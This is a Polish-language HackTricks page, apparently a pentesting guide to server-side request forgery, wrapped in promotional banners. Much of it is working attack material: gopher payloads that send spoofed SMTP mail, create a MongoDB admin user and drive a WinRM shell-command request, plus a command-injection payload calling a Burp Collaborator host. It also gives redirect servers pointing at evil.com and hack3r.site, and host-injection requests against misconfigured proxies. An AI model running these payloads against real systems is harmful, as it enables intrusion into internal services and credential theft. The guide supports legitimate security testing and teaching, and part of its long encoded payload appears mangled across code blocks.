.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Podatność na Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała żądania HTTP do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwytywania interakcji HTTP lub DNS możesz użyć narzędzi takich jak:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Burp Collaborator korzystający z ngrok
Ominięcie białej listy domen
Zazwyczaj okaże się, że SSRF działa tylko w określonych domenach lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz kompilację technik próbujących ominąć tę białą listę:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Ominięcie za pomocą przekierowania otwartego
Jeśli serwer jest odpowiednio zabezpieczony, możesz ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie przekierowywać żądania, możesz wykorzystać przekierowanie otwarte, aby sprawić, że serwer uzyska dostęp do dowolnego zasobu wewnętrznego.
Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf
Protokoły
- file://
- Schemat URL
file://
odnosi się bezpośrednio do/etc/passwd
:file:///etc/passwd
- dict://
- Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego poświadczeń:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą protokołu Secure Shell, podano przykład, jak skrypt PHP mógłby zostać wykorzystany do połączenia z złośliwym serwerem SFTP:
url=sftp://generic.com:11111/
- TFTP://
- Protokół Trivial File Transfer Protocol, działający w trybie UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i dostępu do rozproszonych usług informacyjnych katalogów przez sieci IP. Komunikacja z serwerem LDAP na localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Opisano metodę wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - bypass WAF
- Jeśli SSRF jest wykonywane przez curl, curl posiada funkcję o nazwie URL globbing, która może być przydatna do ominięcia WAFów. Na przykład w tym opisie znajdziesz przykład przechodzenia ścieżek za pomocą protokołu
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Omówiono zdolność protokołu Gopher do określania adresu IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia ładunków. Przedstawiono dwie różne zastosowania:
Gopher://
Korzystając z tego protokołu, możesz określić adres IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus, aby tworzyć ładunki dla kilku usług. Dodatkowo, remote-method-guesser można użyć do tworzenia ładunków gopher dla usług Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Połączenie z powrotem do 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i uprawnieniami=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF za pośrednictwem nagłówka Referrer i innych
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, praktyka ta nieumyślnie narazia aplikacje na podatności na podrobienie żądania po stronie serwera (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści strony odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku SSRF.
SSRF za pośrednictwem danych SNI z certyfikatu
Konfiguracja, która mogłaby umożliwić połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Forgery żądania po stronie serwera (SSRF), która może być wykorzystana poprzez jedynie określenie żądanego adresu IP lub nazwy domeny w polu SNI. Poniżej podano przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak internal.host.com
, za pomocą polecenia openssl
:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Przesyłanie pliku za pomocą Wget
SSRF z Wstrzyknięciem Poleceń
Warto spróbować użyć ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderowanie plików PDF
Jeśli strona internetowa automatycznie tworzy plik PDF z informacjami, które podałeś, możesz wstawić pewien JS, który zostanie wykonany przez sam kreatora PDF (serwer) podczas tworzenia pliku PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.
Od SSRF do DoS
Utwórz kilka sesji i spróbuj pobrać ciężkie pliki wykorzystując SSRF z sesji.
Funkcje PHP do SSRF
Sprawdź następującą stronę pod kątem podatnych funkcji PHP, a nawet Wordpress:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF Przekierowanie do Gophera
Dla niektórych eksploatacji możesz potrzebować wysłania odpowiedzi przekierowania (potencjalnie do użycia innego protokołu, jak np. gopher). Tutaj masz różne kody Pythona do odpowiedzi z przekierowaniem:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
Błędnie skonfigurowane serwery proxy podatne na SSRF
Sztuczki z tego posta.
Flask
Kod podatnego serwera proxy Flask
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask pozwala na użycie **`@`** jako początkowego znaku, co pozwala ustawić **początkową nazwę hosta jako nazwę użytkownika** i wstrzyknąć nową. Atak żądania:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Narażony kod:
Odkryto, że jest możliwe rozpoczęcie ścieżki żądania od znaku ;
, co pozwala następnie użyć @
i wstrzyknąć nowy host do dostępu. Żądanie ataku:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Wbudowany serwer WWW w PHP
Narażony kod PHP
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak możliwość użycia tylko dla ścieżki głównej `/` oraz brak możliwości użycia kropek `.` przed pierwszym ukośnikiem, dlatego konieczne jest użycie zakodowanego adresu IP bez kropek na przykład:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Bypassowanie CORS/SOP za pomocą DNS Rebidding
Jeśli masz problemy z wyciekiem treści z lokalnego IP z powodu CORS/SOP, można użyć DNS Rebidding do obejścia tego ograniczenia:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Zautomatyzowane DNS Rebidding
Singularity of Origin
to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do przypisania adresu IP serwera atakującego nazwie DNS maszyny docelowej oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
Sprawdź również publicznie działający serwer pod adresem http://rebind.it/singularity.html
DNS Rebidding + ID Sesji TLS/Bilet Sesji
Wymagania:
- SSRF
- Sesje TLS wychodzące
- Rzeczy na lokalnych portach
Atak:
- Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
- TTL DNS wynosi 0 sekund (co spowoduje, że ofiara wkrótce ponownie sprawdzi IP domeny)
- Między ofiarą a domeną atakującego tworzona jest połączenie TLS. Atakujący wprowadza ładunek do ID Sesji lub Biletu Sesji.
- Domena rozpocznie nieskończoną pętlę przekierowań na siebie samego. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykonają żądanie DNS domeny.
- W żądaniu DNS podawany jest teraz prywatny adres IP (np. 127.0.0.1)
- Użytkownik/bot spróbuje ponownie nawiązać połączenie TLS, a w tym celu wyśle ID Sesji/Bilet Sesji (w którym zawarty był ładunek atakującego). Gratulacje, udało ci się zmusić użytkownika/bota do zaatakowania samego siebie.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port musi zawsze być taki sam).
Aby przeprowadzić ten atak, możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Aby uzyskać więcej informacji, zapoznaj się z prezentacją, w której wyjaśniono ten atak: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Ślepy SSRF
Różnica między ślepym SSRF a nieslepym polega na tym, że w ślepym nie można zobaczyć odpowiedzi na żądanie SSRF. Dlatego jest trudniejszy do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.
SSRF oparty na czasie
Sprawdzając czas odpowiedzi serwera, można możliwe jest stwierdzenie, czy zasób istnieje czy nie (być może dostęp do istniejącego zasobu zajmuje więcej czasu niż dostęp do nieistniejącego).
Eksploatacja Cloud SSRF
Jeśli znajdziesz podatność na SSRF w maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje na temat środowiska chmurowego, a nawet poświadczenia:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Platformy podatne na SSRF
Kilka znanych platform zawierało lub zawiera podatności na SSRF, sprawdź je:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Narzędzia
SSRFMap
Narzędzie do wykrywania i eksploatacji podatności na SSRF
Gopherus
To narzędzie generuje ładunki Gopher dla:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser to skaner podatności Java RMI, który obsługuje operacje ataków dla większości powszechnych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf
, aby generować ładunek SSRF dla żądanej operacji. W połączeniu z opcją --gopher
można bezpośrednio generować gotowe ładunki gopher.
SSRF Proxy
SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).
Aby ćwiczyć
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Referencje
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.
Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}